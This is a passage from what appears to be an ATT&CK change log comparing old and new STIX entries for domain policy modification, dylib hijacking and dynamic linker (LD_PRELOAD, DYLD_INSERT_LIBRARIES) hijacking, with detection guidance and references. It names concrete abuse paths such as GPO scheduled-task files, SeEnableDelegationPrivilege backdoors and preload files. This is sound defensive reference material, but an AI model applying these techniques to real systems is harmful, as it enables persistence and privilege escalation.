| > | ity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Cit | > | uently be accepted by victim domain resources.(Citation: Mic | ||
| > | ation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M | > | rosoft - Customer Guidance on Recent Nation-State Cyber Atta | ||
| > | Trends 2016)(Citation: Microsoft Hacking Team Breach) Since | > | cks) Adversaries can also change configuration settings with | ||
| > | GPOs can control so many user and machine settings in the A | > | in the AD environment to implement a [Rogue Domain Controlle | ||
| > | D environment, there are a great number of potential attacks | > | r](https://attack.mitre.org/techniques/T1207). Adversaries | ||
| > | that can stem from this GPO abuse.(Citation: Wald0 Guide to | > | may temporarily modify domain policy, carry out a malicious | ||
| > | GPOs) For example, publicly available scripts such as <cod | > | action(s), and then revert the change to remove suspicious i | ||
| > | e>New-GPOImmediateTask</code> can be leveraged to automate t | > | ndicators. | ||
| > | he creation of a malicious [Scheduled Task/Job](https://atta | ||||
| > | ck.mitre.org/techniques/T1053) by modifying GPO settings, in | ||||
| > | this case modifying <code><GPO_PATH>\Machine\Preferen | ||||
| > | ces\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald | ||||
| > | 0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) | ||||
| > | In some cases an adversary might modify specific user rights | ||||
| > | like SeEnableDelegationPrivilege, set in <code><GPO_PATH | ||||
| > | >\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code> | ||||
| > | , to achieve a subtle AD backdoor with complete control of t | ||||
| > | he domain because the user account under the adversary's con | ||||
| > | trol would then be able to modify GPOs.(Citation: Harmj0y Se | ||||
| > | EnableDelegationPrivilege Right) | ||||
New Mitigations:
Dropped Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Itamar Mizrahi, Cymptom', 'Tristan Bennett, Seamless Intelligence'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-26 21:17:41.231000+00:00 | 2021-02-09 15:52:24.598000+00:00 |
| name | Group Policy Modification | Domain Policy Modification |
| description | Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)
Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.
Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)
For example, publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)
| Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts. With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207). Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators. |
| external_references[1]['source_name'] | TechNet Group Policy Basics | ADSecurity GPO Persistence 2016 |
| external_references[1]['description'] | srachui. (2012, February 13). Group Policy Basics – Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019. | Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019. |
| external_references[1]['url'] | https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/ | https://adsecurity.org/?p=2716 |
| external_references[2]['source_name'] | ADSecurity GPO Persistence 2016 | Wald0 Guide to GPOs |
| external_references[2]['description'] | Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019. | Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019. |
| external_references[2]['url'] | https://adsecurity.org/?p=2716 | https://wald0.com/?p=179 |
| external_references[3]['source_name'] | Wald0 Guide to GPOs | Harmj0y Abusing GPO Permissions |
| external_references[3]['description'] | Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and OUs. Retrieved March 5, 2019. | Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. |
| external_references[3]['url'] | https://wald0.com/?p=179 | http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ |
| external_references[4]['source_name'] | Harmj0y Abusing GPO Permissions | Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks |
| external_references[4]['description'] | Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019. | MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 30, 2020. |
| external_references[4]['url'] | http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/ | https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ |
| external_references[5]['source_name'] | Mandiant M Trends 2016 | Microsoft - Azure Sentinel ADFSDomainTrustMods |
| external_references[5]['description'] | Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019. | Microsoft. (2020, December). Azure Sentinel Detections. Retrieved December 30, 2020. |
| external_references[5]['url'] | https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf | https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml |
| external_references[6]['source_name'] | Microsoft Hacking Team Breach | Microsoft 365 Defender Solorigate |
| external_references[6]['description'] | Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019. | Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021. |
| external_references[6]['url'] | https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/ | https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/ |
| external_references[7]['source_name'] | Harmj0y SeEnableDelegationPrivilege Right | Sygnia Golden SAML |
| external_references[7]['description'] | Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019. | Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021. |
| external_references[7]['url'] | http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/ | https://www.sygnia.co/golden-saml-advisory |
| x_mitre_data_sources[0] | Windows event logs | Active Directory: Active Directory Object Creation |
| x_mitre_detection | It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including: * Event ID 5136 - A directory service object was modified * Event ID 5137 - A directory service object was created * Event ID 5138 - A directory service object was undeleted * Event ID 5139 - A directory service object was moved * Event ID 5141 - A directory service object was deleted GPO abuse will often be accompanied by some other behavior such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704). | It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)
Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate) |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'CISA SolarWinds Cloud Detection', 'description': 'CISA. (2021, January 8). Detecting Post-Compromise Threat Activity in Microsoft Cloud Environments. Retrieved January 8, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-008a'} | |
| external_references | {'source_name': 'Microsoft - Update or Repair Federated domain', 'description': 'Microsoft. (2020, September 14). Update or repair the settings of a federated domain in Office 365, Azure, or Intune. Retrieved December 30, 2020.', 'url': 'https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365'} | |
| x_mitre_data_sources | Active Directory: Active Directory Object Deletion | |
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
| x_mitre_data_sources | Command: Command Execution | |
| x_mitre_platforms | Azure AD |
Current version: 2.0
Version changed from: 1.0 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own payloads by placing a mali |
| > | cking ambiguous paths used to load libraries. Adversaries m | > | cious dynamic library (dylib) with an expected name in a pat | ||
| > | ay plant trojan dynamic libraries, in a directory that will | > | h a victim application searches at runtime. The dynamic load | ||
| > | be searched by the operating system before the legitimate li | > | er will try to find the dylibs based on the sequential order | ||
| > | brary specified by the victim program, so that their malicio | > | of the search paths. Paths to dylibs may be prefixed with < | ||
| > | us library will be loaded into the victim program instead. | > | code>@rpath</code>, which allows developers to use relative | ||
| > | MacOS and OS X use a common method to look for required dyna | > | paths to specify an array of search paths used at runtime ba | ||
| > | mic libraries (dylib) to load into a program based on search | > | sed on the location of the executable. Additionally, if wea | ||
| > | paths. A common method is to see what dylibs an applicatio | > | k linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</cod | ||
| > | n uses, then plant a malicious version with the same name hi | > | e> function, an application will still execute even if an ex | ||
| > | gher up in the search path. This typically results in the dy | > | pected dylib is not present. Weak linking enables developers | ||
| > | lib being in the same folder as the application itself. (Cit | > | to run an application on multiple macOS versions as new API | ||
| > | ation: Writing Bad Malware for OSX) (Citation: Malware Persi | > | s are added. Adversaries may gain execution by inserting ma | ||
| > | stence on OS X) If the program is configured to run at a hi | > | licious dylibs with the name of the missing dylib in the ide | ||
| > | gher privilege level than the current user, then when the dy | > | ntified path.(Citation: Wardle Dylib Hijack Vulnerable Apps) | ||
| > | lib is loaded into the application, the dylib will also run | > | (Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github | ||
| > | at that elevated level. | > | EmpireProject HijackScanner)(Citation: Github EmpireProject | ||
| > | CreateHijacker Dylib) Dylibs are loaded into an application | ||||
| > | 's address space allowing the malicious dylib to inherit the | ||||
| > | application's privilege level and resources. Based on the a | ||||
| > | pplication, this could result in privilege escalation and un | ||||
| > | inhibited network access. This method may also evade detecti | ||||
| > | on from security products since the execution is masked unde | ||||
| > | r a legitimate process.(Citation: Writing Bad Malware for OS | ||||
| > | X)(Citation: wardle artofmalware volume1)(Citation: MalwareU | ||||
| > | nicorn macOS Dylib Injection MachO) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:48:09.391000+00:00 | 2021-04-27 20:19:15.212000+00:00 |
| description | Adversaries may execute their own malicious payloads by hijacking ambiguous paths used to load libraries. Adversaries may plant trojan dynamic libraries, in a directory that will be searched by the operating system before the legitimate library specified by the victim program, so that their malicious library will be loaded into the victim program instead. MacOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. A common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X) If the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. | Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with @rpath, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable. Additionally, if weak linking is used, such as the LC_LOAD_WEAK_DYLIB function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.
Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO) |
| external_references[2]['source_name'] | Writing Bad Malware for OSX | Wardle Dylib Hijack Vulnerable Apps |
| external_references[2]['description'] | Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017. | Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021. |
| external_references[2]['url'] | https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf | https://objective-see.com/blog/blog_0x46.html |
| external_references[3]['source_name'] | Malware Persistence on OS X | Wardle Dylib Hijacking OSX 2015 |
| external_references[3]['description'] | Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017. | Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021. |
| external_references[3]['url'] | https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf | https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_detection | Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. | Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.
Run path dependent libraries can include LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, and LC_RPATH. Other special keywords are recognized by the macOS loader are @rpath, @loader_path, and @executable_path.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the otool -l command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner) |
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Github EmpireProject HijackScanner', 'description': 'Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py'} | |
| external_references | {'source_name': 'Github EmpireProject CreateHijacker Dylib', 'description': 'Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.', 'url': 'https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py'} | |
| external_references | {'source_name': 'Writing Bad Malware for OSX', 'description': 'Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.', 'url': 'https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf'} | |
| external_references | {'source_name': 'wardle artofmalware volume1', 'description': 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021.', 'url': 'https://taomm.org/vol1/pdfs.html'} | |
| external_references | {'source_name': 'MalwareUnicorn macOS Dylib Injection MachO', 'description': 'Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.', 'url': 'https://malwareunicorn.org/workshops/macos_dylib_injection.html#5'} | |
| external_references | {'source_name': 'Apple Developer Doco Archive Run-Path', 'description': 'Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.', 'url': 'https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html'} | |
| x_mitre_data_sources | Module: Module Load |
Current version: 2.0
Version changed from: 1.1 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the dynamic linker used to load libraries. The dynamic | > | cking environment variables the dynamic linker uses to load | ||
| > | linker is used to load shared library dependencies needed b | > | shared libraries. During the execution preparation phase of | ||
| > | y an executing program. The dynamic linker will typically ch | > | a program, the dynamic linker loads specified absolute paths | ||
| > | eck provided absolute paths and common directories for these | > | of shared libraries from environment variables and files, s | ||
| > | dependencies, but can be overridden by shared objects speci | > | uch as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT | ||
| > | fied by LD_PRELOAD to be loaded before all others.(Citation: | > | _LIBRARIES</code> on macOS. Libraries specified in environme | ||
| > | Man LD.SO)(Citation: TLDP Shared Libraries) Adversaries ma | > | nt variables are loaded first, taking precedence over system | ||
| > | y set LD_PRELOAD to point to malicious libraries that match | > | libraries with the same function name.(Citation: Man LD.SO) | ||
| > | the name of legitimate libraries which are requested by a vi | > | (Citation: TLDP Shared Libraries)(Citation: Apple Doco Archi | ||
| > | ctim program, causing the operating system to load the adver | > | ve Dynamic Libraries) These variables are often used by deve | ||
| > | sary's malicious code upon execution of the victim program. | > | lopers to debug binaries without needing to recompile, decon | ||
| > | LD_PRELOAD can be set via the environment variable or <code> | > | flict mapped symbols, and implement custom functions without | ||
| > | /etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citatio | > | changing the original library.(Citation: Baeldung LD_PRELOA | ||
| > | n: TLDP Shared Libraries) Libraries specified by LD_PRELOAD | > | D) On Linux and macOS, hijacking dynamic linker variables m | ||
| > | with be loaded and mapped into memory by <code>dlopen()</cod | > | ay grant access to the victim process's memory, system/netwo | ||
| > | e> and <code>mmap()</code> respectively.(Citation: Code Inje | > | rk resources, and possibly elevated privileges. This method | ||
| > | ction on Linux and macOS) (Citation: Uninformed Needle) (Cit | > | may also evade detection from security products since the ex | ||
| > | ation: Phrack halfdead 1997) LD_PRELOAD hijacking may grant | > | ecution is masked under a legitimate process. Adversaries ca | ||
| > | access to the victim process's memory, system/network resou | > | n set environment variables via the command line using the < | ||
| > | rces, and possibly elevated privileges. Execution via LD_PRE | > | code>export</code> command, <code>setenv</code> function, or | ||
| > | LOAD hijacking may also evade detection from security produc | > | <code>putenv</code> function. Adversaries can also leverage | ||
| > | ts since the execution is masked under a legitimate process. | > | [Dynamic Linker Hijacking](https://attack.mitre.org/techniq | ||
| > | ues/T1574/006) to export variables in a shell or set variabl | ||||
| > | es programmatically using higher level syntax such Python’s | ||||
| > | <code>os.environ</code>. On Linux, adversaries may set <cod | ||||
| > | e>LD_PRELOAD</code> to point to malicious libraries that mat | ||||
| > | ch the name of legitimate libraries which are requested by a | ||||
| > | victim program, causing the operating system to load the ad | ||||
| > | versary's malicious code upon execution of the victim progra | ||||
| > | m. <code>LD_PRELOAD</code> can be set via the environment va | ||||
| > | riable or <code>/etc/ld.so.preload</code> file.(Citation: Ma | ||||
| > | n LD.SO)(Citation: TLDP Shared Libraries) Libraries specifie | ||||
| > | d by <code>LD_PRELOAD</code> are loaded and mapped into memo | ||||
| > | ry by <code>dlopen()</code> and <code>mmap()</code> respecti | ||||
| > | vely.(Citation: Code Injection on Linux and macOS)(Citation: | ||||
| > | Uninformed Needle) (Citation: Phrack halfdead 1997)(Citatio | ||||
| > | n: Brown Exploiting Linkers) On macOS this behavior is con | ||||
| > | ceptually the same as on Linux, differing only in how the ma | ||||
| > | cOS dynamic libraries (dyld) is implemented at a lower level | ||||
| > | . Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> | ||||
| > | environment variable to point to malicious libraries contai | ||||
| > | ning names of legitimate libraries or functions requested by | ||||
| > | a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIE | ||||
| > | S)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilond | ||||
| > | o DYLD_INSERT_LIBRARIES Catalina Bypass) | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_permissions_required | ['User'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 16:49:46.904000+00:00 | 2021-04-27 19:55:18.453000+00:00 |
| name | LD_PRELOAD | Dynamic Linker Hijacking |
| description | Adversaries may execute their own malicious payloads by hijacking the dynamic linker used to load libraries. The dynamic linker is used to load shared library dependencies needed by an executing program. The dynamic linker will typically check provided absolute paths and common directories for these dependencies, but can be overridden by shared objects specified by LD_PRELOAD to be loaded before all others.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)
Adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD with be loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS) (Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)
LD_PRELOAD hijacking may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. Execution via LD_PRELOAD hijacking may also evade detection from security products since the execution is masked under a legitimate process. | Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)
On Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python’s os.environ.
On Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
On macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) |
| external_references[5]['source_name'] | Code Injection on Linux and macOS | Apple Doco Archive Dynamic Libraries |
| external_references[5]['description'] | Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017. | Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021. |
| external_references[5]['url'] | https://www.datawire.io/code-injection-on-linux-and-macos/ | https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html |
| external_references[6]['source_name'] | Uninformed Needle | Baeldung LD_PRELOAD |
| external_references[6]['description'] | skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017. | baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021. |
| external_references[6]['url'] | http://hick.org/code/skape/papers/needle.txt | https://www.baeldung.com/linux/ld_preload-trick-what-is |
| external_references[7]['source_name'] | Phrack halfdead 1997 | Code Injection on Linux and macOS |
| external_references[7]['description'] | halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017. | Itamar Turner-Trauring. (2017, April 18). “This will only hurt for a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017. |
| external_references[7]['url'] | http://phrack.org/issues/51/8.html | https://www.datawire.io/code-injection-on-linux-and-macos/ |
| x_mitre_data_sources[0] | Process monitoring | File: File Creation |
| x_mitre_data_sources[1] | File monitoring | File: File Modification |
| x_mitre_data_sources[2] | Environment variable | Module: Module Load |
| x_mitre_detection | Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD, as well as the commands to implement these changes. Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. | Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.
Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates. |
| x_mitre_version | 1.1 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Uninformed Needle', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'url': 'http://hick.org/code/skape/papers/needle.txt'} | |
| external_references | {'source_name': 'Phrack halfdead 1997', 'description': 'halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.', 'url': 'http://phrack.org/issues/51/8.html'} | |
| external_references | {'source_name': 'Brown Exploiting Linkers', 'description': 'Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021.', 'url': 'http://www.nth-dimension.org.uk/pub/BTL.pdf'} | |
| external_references | {'source_name': 'TheEvilBit DYLD_INSERT_LIBRARIES', 'description': 'Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020.', 'url': 'https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/'} | |
| external_references | {'source_name': 'Timac DYLD_INSERT_LIBRARIES', 'description': 'Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020.', 'url': 'https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/'} | |
